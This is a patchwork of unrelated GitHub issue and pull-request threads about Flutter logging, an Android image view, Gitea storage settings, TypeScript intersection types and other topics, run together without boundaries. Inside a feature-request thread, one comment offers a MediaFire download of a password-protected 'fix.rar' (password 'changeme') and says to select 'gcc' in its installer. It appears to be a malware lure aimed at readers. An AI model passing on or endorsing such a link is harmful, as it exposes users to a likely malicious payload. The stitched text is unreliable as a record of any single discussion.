Coverage increased (+0.6%) to 67.576% when pulling 665bd6beb12afe7ed49bb0192c05e85c55cbfd95 on simplify_pass into 28dd1c8e70a664e765f75a408767fed2b638cc92 on master.


Sending emails with log "Empty files are not allowed"

What

To be tested on more devices but my logs seem to be empty

Screenshot

Same here. I attached a screenshot
Screenshot

No error message in flutter logs?
Maybe something similar to https://stackoverflow.com/questions/18249007/how-to-use-support-fileprovider-for-sharing-content-to-other-apps

"This is normal". If the file is empty (0 byte), Gmail will complain with this error.
I will change a little bit the logger to create at least one log when the app is launched to prevent this


Introduce a collate clause in sql queries when appropriate

Allows multilingual shops to have lists correctly sorted in alphabetical
order in every used language.

Merge conflicts with the new database handling, better wait until that is stable.


My circleImageView is not displaying the src when i run my app

Hello i am having the problem is that my app doesnt display the src when i run it on android Studio emulator. The image i upload to src its imported with batch drawable so all version are present for all devices .By the way i migrated to androidx. i think there is no more info to provide.
<de.hdodenhof.circleimageview.CircleImageView
                android:id="@+id/circleImageView3"
                android:layout_width="140dp"
                android:layout_height="120dp"
                android:layout_marginTop="-66dp"
                android:src="@drawable/descarga"
                android:elevation="3dp"
                app:layout_constraintBottom_toBottomOf="parent"
                app:layout_constraintEnd_toEndOf="parent"
                app:layout_constraintStart_toStartOf="parent"
                app:layout_constraintTop_toTopOf="parent"
                app:layout_constraintVertical_bias="0.23000002" />

i added elevation to it so that maybe the image was behind the picture but as you see the circle becomes transparent.

Is there any log output? Also what kind of drawable is @drawable/descarga?

Hm, that should actually work. A couple more questions:

you said it doesn't work on an emulator - does it work on a real device?
does an image show up when you replace CircleImageView with a regular ImageView?
does it work when you use another drawable as src?

I had the same issue, on emulator and real device,
Just add your src image in this field:

and in your xml code you're gonna have this line of code:
                     android:src="@drawable/ic_person_outline_black_24dp"
hope this works :)

I'm closing this as stale for now. In case the issue persists, feel free to reopen with the requested details.

Circle image view is not showing circle image, it is throwing a square/rectangle. Unable to get where mistaken. Before this time, it was working fine. Can't find where I left the hole, please help, if possible.


RemoteMessage for TransferProcess and TransferProcess Object are missing correlationID

Feature Request
The new Remote Messages for TransferProcess are missing the field correlationId. TransferCompletionMessage , TransferStartMessage and TransferTerminationMessage.
Also the TransferProcess misses an correlationId field.
Which Areas Would Be Affected?
Transfer-SPI, transfer-core, sql-extension
Why Is the Feature Desired?
Implement dataspace protocol
Solution Proposal
Add private String correlationId

@ndr-brt Fine for you or did we miss something?

Fine, I created them without thinking about their content because I just needed placeholders to verify theit dispatch in the tests.


Feat implement proposal cost and min rep

[Summary of the change]
Changes

[x] Added useFacetFetch hook
[x] replaced useVotingSettings with a useFacetFetch implementation
[x] replaced useTimeClaimable with a useFacetFetch implementation
[x] added propocal cost and minimum rep to the confirmation page of new proposal form

@ThijnK  I've added some extra stuff:

added useTier hook
added useTieredTimeClaimable hook
changed useFacetFetch to allow for context (extra powerfull stuff)
added a simple progress bar to the ClaimDailyReward card. Due to SDK issues I could not yet test this. Perhaps remove in the future


Help with inference

Hello! I figured out how to train and do evaluetion. But how to make an inference model? Is it possible to somehow check on a random video whether it is a deepfake or not? Please tell me!

你好，请问你能成功训练论文中的数据吗？

I did not write inference code; instead, I simply performed inference by creating a separate JSON file, referencing the annotation format, and assigning arbitrary fake labels to obtain the inference results for use. If you want to perform inference, you should refer to the evaluation process used in testing. You only need to remove the sections related to labels in data reading and evaluation. If you have written the code, you're welcome to contribute it back to the original source as well.


Add "cited by" feature

Add a new "cited by" feature for all projects with an associated DOI. Possible plan:

Use a GitHub action to look up citations of each provided DOI on a regular schedule, maybe once per month. Use this information to update the project page with a count and/or list of who has cited the software. Possibly send an email to the project maintainer with these data, to encourage them to look at their project page.
Use Semantic Scholar API

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Download? Where?

Please help. I really can't find it

https://github.com/psmoveservice/PSMoveService/releases


MINOR: Return null in key mapping of committed

To be consistent with other grouping APIs, and also modified callers accordingly.
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

@hachikuji @omkreddy for reviews.

retest this please

Cherry-picked to 2.4.


Cleaning up JAR artifacts in prep for 0.9 release.

Removing the original-system-ml*.jar that was created after shading, as it was simply causing confusion.  Also, added a task to copy the final jar to a new SystemML.jar, since most of the documentation deals with the later name.
cc @deroneriksson

The original*.jar has confused me when looking at the target directory following a build, so removing it is a good idea.
Eyeballing runStandaloneSystemML.sh, this 'should' be good since:
CLASSPATH=""
for f in ${CURRENT_PATH}/lib/*.jar; do
  CLASSPATH=${CLASSPATH}:$f;
done

Did you try it out with runStandaloneSystemML.sh and bin/systemml?

Oops, nevermind bin/systemml since it's using target/classes.

I didn't run it with runStandaloneSystemML.sh, but that script just relies on having a SystemML.jar file in the same directory, which is generated with the standalone distribution build from the system-ml-0.9.0-SNAPSHOT.jar file.  The original*.jar file is just a by-product of shading the JAR to include ANTLR stuff.

Sanity check: runStandaloneSystemML.sh does indeed still work.

Thank you for checking runStandaloneSystemML.sh. Then LGTM.


chore(main): release 0.4.3

:robot: I have created a release beep boop
0.4.3 (2023-02-24)
Bug Fixes

ensure job pod is deleted when deleting scan job (#234) (380e3bd)

Dependency Updates

deps: bump github.com/vektra/mockery/v2 from 2.20.0 to 2.20.2 (#233) (285e46b)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/statnett/image-scanner-operator/releases/tag/v0.4.3 :sunflower:


fix docs

Fixed the header key for repo-archive configuration in docs

According to the example(https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2343-L2351) and the code, the old document seems correct.

Strange.
When I tried to use the below configuration,
[storage.custom_s3]
STORAGE_TYPE = minio
SERVE_DIRECT = true
MINIO_ENDPOINT = s3.ap-south-1.amazonaws.com
MINIO_ACCESS_KEY_ID = ***
MINIO_SECRET_ACCESS_KEY = ***
MINIO_BUCKET = ***
MINIO_LOCATION = ap-south-1
MINIO_BASE_PATH = /gitea/misc
MINIO_USE_SSL = true

[attachment]
STORAGE_TYPE = custom_s3
MINIO_BASE_PATH = /gitea/attachments

[lfs]
STORAGE_TYPE = custom_s3
MINIO_BASE_PATH = /gitea/lfs

[storage.repo-archive]
STORAGE_TYPE = custom_s3
MINIO_BASE_PATH = /gitea/repo-archive

Only the repo archive config would fail with some error like invalid storage type.

The document could be incorrect. The storage type only supports internal pre-defined types: either local or minio, no customized type.

Oh, nevermind
My bad


Add support for Lumen

Is your feature request related to a problem? Please describe.
It currently doesn't seem to work with lumen. I am able to add the package, but fails with errors
 Call to undefined function public_path()

I added the function public_path, but then I got this error
Call to undefined method Laravel\Lumen\Routing\Router::name()

This will be great tool to maintain api documentation and other internal documentation for the lumen project as well.

I think, this will never be possible. Lumen does not have Blade support, response must be JSON etc.
I suggest you to look to Swagger for API documentation.

Yes as @arxeiss said, it's not possible and actually no plan to support it, sorry.


I cannot control its width, if I control the width, its still showing me previous and next images on both sides of main image. If some can help then it will be a big favor.

Which OS ?
Version
Which versions are you using:

react-native-swiper v?
react-native v0.?.?

Expected behaviour
Actual behaviour
How to reproduce it>
To help us, please fork this component, modify one example in examples folder to reproduce your issue and include link here.
Steps to reproduce

same for me on IOS only !


Never-like intersections

Experiment for now.

@typescript-bot test this
@typescript-bot user test this
@typescript-bot run dt
@typescript-bot perf test this

@typescript-bot test this
@typescript-bot user test this
@typescript-bot run dt
@typescript-bot perf test this

@typescript-bot run dt

@typescript-bot run dt

@typescript-bot run dt

@typescript-bot perf test this

@typescript-bot run dt
@typescript-bot perf test this

@typescript-bot perf test this
@typescript-bot run dt

@typescript-bot perf test this
@typescript-bot run dt

@weswigham @RyanCavanaugh Please review when you get a chance (as usual the GitHub reviewers suggestion list doesn't work).

@typescript-bot run dt

RWC tests have improved error baselines in fp-ts because a number of empty intersections are being reduced away. Otherwise no change in RWC.

DT tests have four new failures. Two are legitimate errors caused by empty intersections being turned into never. One is simply an error elaboration change caused by us displaying an alias instead of the literal type.
The last failure (in ramda) is caused by a type in ts-toolbelt that depends on keyof (A & B) producing the same type as keyof A | keyof B when A & B is an empty intersection. It is a simple (and backwards compatible) change to fix this.

Do we need a getReducedType call in inferTypes? We only call getSimplifiedType as a fallback, and I imagine we shouldn't be inferring to parts if types we're otherwise treating as never.

Do we need a getReducedType call in inferTypes?

Yeah, we probably do.

@typescript-bot run dt

@typescript-bot perf test this

@typescript-bot perf test this

With latest commits we now defer instantiation of the types of properties in mapped types.
Previously, in resolveMappedTypeMembers we would immediately materialize the type of each property by instantiating the mapped type template. This could cause circularities and, to make matters worse, those circularities weren't reported--instead, an empty type would temporarily be observed until all properties and their types were resolved. That in turn could cause strange differences in observed types based on the order in which other types were resolved. One such strange difference showed up in redux-orm in the DT test suite.
Now, we instead create dedicated mapped type property symbols that hold on to the type mapper and defer the template instantiation until getTypeOfSymbol is called on the symbol. In addition, we properly report circularities (which are less likely, but still can occur) instead of letting them silently pass. Two such circularities exist, in styled-components and vuelidate respectively. They appear easy to fix.

They appear easy to fix.

We should probably preemptively fix them for this change; styled-components we know to be popular.

@typescript-bot run dt

@typescript-bot user test this

@typescript-bot user test this

@typescript-bot user test this

@typescript-bot run dt

Yay! DT validation suites are clean, RWC looks good, and I have fixed the issue in office-ui-fabric-react in the community code test suites (but I still find the bot responses hard to interpret).
I think this PR is ready to merge!

@typescript-bot perf test this

Since updating to 3.9 I have a compile error which I suspect is caused by this PR. The error might be valid, but could someone explain to me why?
Here is a sample code:
class A {
    private _name = "A";
    public y: number = 1;
}

class B {
    private _name = "B"
    public y: number = 2;
}

class C {
    public y: number = 3;
}

let c: A & B = new C();
// Error: Type 'C' is not assignable to type 'never'.
// The intersection 'A & B' was reduced to 'never' because property '_name'
// exists in multiple constituents and is private in some.(2322)

What I'm not getting is why the private variable would have any say in this? I thought doing something like A & B should only look at the public interfaces of these objects, anything private wouldn't have any effect on the resulting type.

@andrewvarga This is a bit of a late comment, but it's because private class members, while their types aren't externally visible, nominally tag the containing class. These nominal tags are mutually exclusive, and are what result in the reduction. Hence the error: The intersection 'A & B' was reduced to 'never' because property '_name' exists in multiple constituents and is private in some.